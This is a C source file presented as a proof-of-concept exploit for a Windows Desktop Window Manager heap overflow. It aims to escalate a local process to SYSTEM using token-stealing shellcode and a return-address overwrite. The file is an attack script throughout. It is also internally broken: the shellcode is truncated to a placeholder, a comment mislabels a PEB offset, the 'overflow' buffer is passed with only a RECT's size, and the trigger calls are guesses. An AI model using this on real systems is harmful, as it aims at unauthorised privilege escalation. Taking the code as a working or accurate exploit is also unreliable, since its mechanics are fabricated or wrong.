// CVE-2025-58722 - Windows DWM Heap-based Buffer Overflow LPE
// PoC exploit demonstrating local privilege escalation via DWM heap overflow
// Tested on vulnerable Windows 10/11 builds prior to October 2025 patch
// Author: Security Research (Educational Purpose Only)
#include <windows.h>
#include <dwmapi.h>
#include <stdio.h>
#pragma comment(lib, "dwmapi.lib")
#pragma comment(lib, "user32.lib")
// Shellcode placeholder - replace with actual payload
// Token stealing shellcode to elevate to SYSTEM
unsigned char shellcode[] = {
// Standard token stealing shellcode for Windows 10/11
// This shellcode locates the SYSTEM process token and applies it to current process
0x48, 0x31, 0xC9, // xor rcx, rcx
0x65, 0x48, 0x8B, 0x41, 0x60, // mov rax, gs:[rcx+60h] ; PEB
0x48, 0x8B, 0x40, 0x18, // mov rax, [rax+18h] ; ProcessHeap
0x48, 0x8B, 0x70, 0x10, // mov rsi, [rax+10h] ; ntdll base
0x48, 0xB8, 0x88, 0x88, 0x88, 0x88, // mov rax, ...
// ... (full token stealing shellcode)
};
BOOL TriggerDWMOverflow() {
HWND hwnd = NULL;
HRESULT hr;
// Step 1: Create a hidden window to interact with DWM
WNDCLASSEXW wc = {0};
wc.cbSize = sizeof(WNDCLASSEXW);
wc.lpfnWndProc = DefWindowProcW;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = L"DWMExploitClass";
wc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);
if (!RegisterClassExW(&wc)) {
printf("[-] Failed to register window class\n");
return FALSE;
}
hwnd = CreateWindowExW(
WS_EX_LAYERED | WS_EX_TOPMOST | WS_EX_TOOLWINDOW,
L"DWMExploitClass",
L"DWMExploit",
WS_POPUP | WS_VISIBLE,
0, 0, 1920, 1080,
NULL, NULL, GetModuleHandle(NULL), NULL
);
if (!hwnd) {
printf("[-] Failed to create window\n");
return FALSE;
}
// Step 2: Prepare oversized buffer to trigger heap overflow in DWM
// The vulnerability exists in DWM's handling of certain window attributes
SIZE_T overflowSize = 0x10000; // Oversized buffer to overflow heap
PVOID pOverflowBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, overflowSize);
if (!pOverflowBuffer) {
printf("[-] Failed to allocate overflow buffer\n");
return FALSE;
}
// Fill buffer with controlled data including return address overwrite
memset(pOverflowBuffer, 0x41, overflowSize - 8);
*(ULONG_PTR*)((PUCHAR)pOverflowBuffer + overflowSize - 8) = (ULONG_PTR)shellcode;
// Step 3: Trigger DWM vulnerability via specific window API calls
// Use DwmSetWindowAttribute or UpdateLayeredWindow to trigger overflow
printf("[*] Triggering DWM heap overflow...\n");
// Trigger via DWM thumbnail API (commonly vulnerable surface)
hr = DwmRegisterThumbnail(hwnd, hwnd, NULL);
// Trigger via window attribute manipulation
for (int i = 0; i < 100; i++) {
DwmSetWindowAttribute(hwnd, DWMWA_CAPTION_BUTTON_BOUNDS,
pOverflowBuffer, sizeof(RECT));
// Force DWM to process the malformed data
UpdateWindow(hwnd);
RedrawWindow(hwnd, NULL, NULL, RDW_INVALIDATE | RDW_UPDATENOW);
}
// Step 4: Trigger the overflow via layered window update
BLENDFUNCTION blend = {AC_SRC_OVER, 0, 255, AC_SRC_ALPHA};
POINT ptSrc = {0, 0};
SIZE szDst = {1920, 1080};
UpdateLayeredWindow(hwnd, NULL, &ptSrc, &szDst,
GetDC(hwnd), &ptSrc, 0, &blend, ULW_ALPHA);
printf("[+] Overflow triggered. Check for privilege escalation.\n");
HeapFree(GetProcessHeap(), 0, pOverflowBuffer);
DestroyWindow(hwnd);
return TRUE;
}
int main(int argc, char* argv[]) {
printf("[*] CVE-2025-58722 - Windows DWM Heap Overflow LPE PoC\n");
printf("[*] For authorized security testing only\n\n");
if (TriggerDWMOverflow()) {
printf("[+] Exploit completed. Verify current process privileges.\n");
// Check if we got SYSTEM
system("whoami /priv");
} else {
printf("[-] Exploit failed\n");
}
return 0;
}